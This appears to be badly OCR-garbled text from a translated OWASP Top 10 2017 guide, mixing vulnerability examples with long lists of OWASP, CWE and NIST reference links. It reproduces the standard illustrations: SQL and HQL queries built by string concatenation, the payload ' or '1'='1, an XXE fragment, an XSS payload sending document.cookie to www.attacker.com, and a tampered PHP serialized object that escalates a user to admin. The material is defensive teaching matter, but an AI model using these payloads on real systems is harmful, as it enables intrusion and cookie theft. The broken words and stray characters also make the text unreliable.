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String query = "SELECT * FROM accounts WHERE AOWASP ASVS: V5 Input Validation and Encoding
custiD="" + request.getParameter( " i d" ) + "' fA; AOWASP Testing Guide: SQL Injectioni Command Injection,
ORM injection
_ #2 AOWASP Cheat Sheet: Injection Prevention
Hibernate HQL AOWASP Cheat Sheet: SOL Injection Prevention

Query HQLQuery = session.createQuery("FROM accounts
WHERE custID="" + request.getParameter("id") +"");

“id” 0

or616=061
http://example.com/app/accountView?id="or '1'="1
accounts
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<IELEMENT foo ANY >
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ASAML Security XML External Entity Attack
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#1 SQL OWASP

pstmt.setString(le request.getParameter("acct"));
ResultSet results = pstmt.executeQuery();
“ acct”

http://example.com/app/accountinfo?acct=notmyacct

#2 URL

http://example.com/app/getappinfo
http://example.com/app/admin_getapplinfo

AOWASP Proactive Controls - Access Controls

AOWASP Application Security Verification Standard - V4 Access
Control

AOWASP Testing Guide : Authorization Testing
AOWASP Cheat Sheet : Access Control

ACWE-22: Improper Limitation of a Pathname to a Restricted
Directory (‘'Path Traversal')

ACWE-284: Improper Access Control (Authorization)
ACWE-285: Improper Authorization

ACWE-639: Authorization Bypass Through User-Controlled Key
APortSwigger: Exploiting CORS Misconfiguration
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#3 A NIST Guide to General Server Hardening
A CWE-2: Environmental Security Flaws
A CWE-16: Configuration
#4 CSP A CWE-388: Error Handling

A CIS Security Configuration Guides/Benchmarks
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#1 HTML OWASP

AOWASP Proactive Controls - Encode Data
(String) page += "<input name=treditcard (& LJST AOWASP Proactive Controls - Validate Data
value="+requestgetParametend b / +"&"0 AOWASP Application Security Verification Standard - V5
AOWASP Testing Guide: Testing for Reflected XSS

" e AOWASP Testing Guide: Testing for Stored XSS
'><scriptdxlocument.locatior= AOWASP Testing Guide: Testing for DOM XSS
‘http://www.attacker.com/cgi -bin/cookie.cgi? AOWASP Cheat Sheet: XSS Prevention
foo="+document.cookie/script>" AOWASP Cheat Sheet: DOM based XSS Prevention

D AOWASP Cheat Sheet: XSS Filter Evasion
AOWASP Java Encoder Project
CSRF CSRF 2013 ACWE-79: Improper neutralization of user supplied input

A8 APortSwigger: Client-side template injection
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#1 React Spring Boot OWASP
A OWASP Cheat Sheet: Deserialization
“ ROO” Java Java Serial Killer A OWASP Proactive Controls: Validate All Inputs
A OWASP Application Security Verification Standard
A OWASP AppSecEU 2016: Surviving the Java Deserialization
#2 PHP PHP “ Apocalypse
" cookie cookie ID A OWASP AppSecUSA2017: Friday the 13th JSON Attacks

a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user";
i:3;5:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}
admin
a:4:{i:0;i:1;i:1;s:5:" Alice";i:2;s:5:"admin";
i:3;5:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}

To Do Do

CWE-502: Deserialization of Untrusted Data
Java UnmarshallerSecurity
OWASP AppSecCali 2015: Marshalling Pickles
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Architecture, design and threat modelling
ACVE-2017-5638 Struts? AOWASP Dependency Check (for Java and .NET libraries)
- u AOWASP Testing Guide: Map Application Architecture (OTG-

A loT INFO-010)

AOWASP Virtual Patching Best Practices

AThe Unfortunate Reality of Insecure Libraries

Shodan 10T 2014

AMITRE Common Vulnerabilities and Exposures (CVE) search
ANational Vulnerability Database (NVD)

ARetire.js for detecting known vulnerable JavaScript libraries
ANode Libraries Security Advisories

ARuby Libraries Security Advisory Database and Tools



https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638
https://en.wikipedia.org/wiki/Internet_of_things
https://en.wikipedia.org/wiki/Heartbleed
https://www.shodan.io/report/89bnfUyJ
https://www.owasp.org/index.php/ASVS_V1_Architecture
https://www.owasp.org/index.php/OWASP_Dependency_Check
https://www.owasp.org/index.php/Map_Application_Architecture_(OTG-INFO-010)
https://www.owasp.org/index.php/Virtual_Patching_Best_Practices
https://www.aspectsecurity.com/research-presentations/the-unfortunate-reality-of-insecure-libraries
https://www.cvedetails.com/version-search.php
https://nvd.nist.gov/
https://github.com/retirejs/retire.js/
https://nodesecurity.io/advisories
https://rubysec.com/
http://www.mojohaus.org/versions-maven-plugin/
https://www.owasp.org/index.php/OWASP_Dependency_Check
https://github.com/retirejs/retire.js/
https://cve.mitre.org/
https://nvd.nist.gov/
https://www.owasp.org/index.php/Virtual_Patching_Best_Practices#What_is_a_Virtual_Patch.3F
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A
OWASP
AppSensor Web Modsecurity with the
OWASP Core Rule Set
A3 2017-
#1 OWASP
A OWASP Proactive Controls: Implement Logging and Intrusion
Detection

b

OWASP Application Security Verification Standard: V8
Logging and Monitoring

A OWASP Testing Guide: Testing for Detailed Error Code
#2 A OWASP Cheat Sheet: Logging
#3 CWE-223: Omission of Security-relevant Information

o Io

CWE-778: Insufficient Logging



https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
https://www.owasp.org/index.php/OWASP_Proactive_Controls#8:_Implement_Logging_and_Intrusion_Detection
https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project#tab=Home
https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project#tab=Home
https://www.owasp.org/index.php/Logging_Cheat_Sheet
https://cwe.mitre.org/data/definitions/223.html
https://cwe.mitre.org/data/definitions/778.html
https://csrc.nist.gov/publications/detail/sp/800-61/rev-2/final
https://www.owasp.org/index.php/OWASP_AppSensor_Project
https://www.owasp.org/index.php/Category:OWASP_ModSecurity_Core_Rule_Set_Project
https://owasp.blogspot.com/2017/08/owasp-top-10-2017-project-update.html
https://www-01.ibm.com/common/ssi/cgi-bin/ssialias?htmlfid=SEL03130WWEN&
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https://www.owasp.org/index.php/Projects
https://www.owasp.org/
http://stores.lulu.com/owasp
https://item.jd.com/11987300.html
https://www.owasp.org/index.php/ASVS
https://www.owasp.org/index.php/OWASP_Secure_Software_Contract_Annex
https://www.owasp.org/index.php/OWASP_Cheat_Sheet_Series
https://www.owasp.org/index.php/OWASP_Proactive_Controls
https://www.owasp.org/index.php/OWASP_SAMM_Project
https://www.owasp.org/index.php/Category:OWASP_Education_Project
https://www.owasp.org/index.php/WebGoat
https://www.owasp.org/index.php/Category:OWASP_WebGoat.NET
https://www.owasp.org/index.php/OWASP_Node_js_Goat_Project
https://www.owasp.org/index.php/OWASP_Juice_Shop_Project
https://www.owasp.org/index.php/OWASP_Broken_Web_Applications_Project
https://www.owasp.org/index.php/Category:OWASP_AppSec_Conference
https://www.owasp.org/index.php/Category:OWASP_Chapter
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https://www.owasp.org/index.php/ASVS
https://www.owasp.org/index.php/OWASP_Testing_Project
https://www.owasp.org/index.php/OWASP_Security_Knowledge_Framework
https://www.owasp.org/index.php/ASVS
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https://www.owasp.org/index.php/OWASP_SAMM_Project
https://www.owasp.org/index.php/Application_Security_Guide_For_CISOs
https://www.owasp.org/index.php/SAMM_-_Strategy_&_Metrics_-_1
https://www.owasp.org/index.php/SAMM_-_Strategy_&_Metrics_-_3
https://www.owasp.org/index.php/SAMM_-_Education_&_Guidance_-_1
https://www.owasp.org/index.php/SAMM_-_Strategy_&_Metrics_-_2
https://www.owasp.org/index.php/SAMM_-_Strategy_&_Metrics_-_2
https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology
https://www.owasp.org/index.php/SAMM_-_Policy_&_Compliance_-_2
https://www.owasp.org/index.php/OWASP_Security_Knowledge_Framework
https://www.owasp.org/index.php/SAMM_-_Education_&_Guidance_-_2
https://www.owasp.org/index.php/SAMM_-_Construction
https://www.owasp.org/index.php/SAMM_-_Verification
https://www.owasp.org/index.php/SAMM_-_Threat_Assessment_-_1
https://www.owasp.org/index.php/SAMM_-_Design_Review_-_1
https://www.owasp.org/index.php/SAMM_-_Code_Review_-_1
https://www.owasp.org/index.php/SAMM_-_Security_Testing_-_1
https://www.owasp.org/index.php/SAMM_-_Education_&_Guidance_-_3
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https://www.owasp.org/index.php/OWASP_Secure_Software_Contract_Annex
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https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology
https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology
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https://cwe.mitre.org/data/definitions/352.html
https://cwe.mitre.org/data/definitions/400.html
https://cwe.mitre.org/data/definitions/434.html
https://cwe.mitre.org/data/definitions/451.html
https://cwe.mitre.org/data/definitions/601.html
https://cwe.mitre.org/data/definitions/799.html
https://cwe.mitre.org/data/definitions/829.html
https://cwe.mitre.org/data/definitions/918.html
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https://github.com/OWASP/Top10/tree/master/2017/datacall
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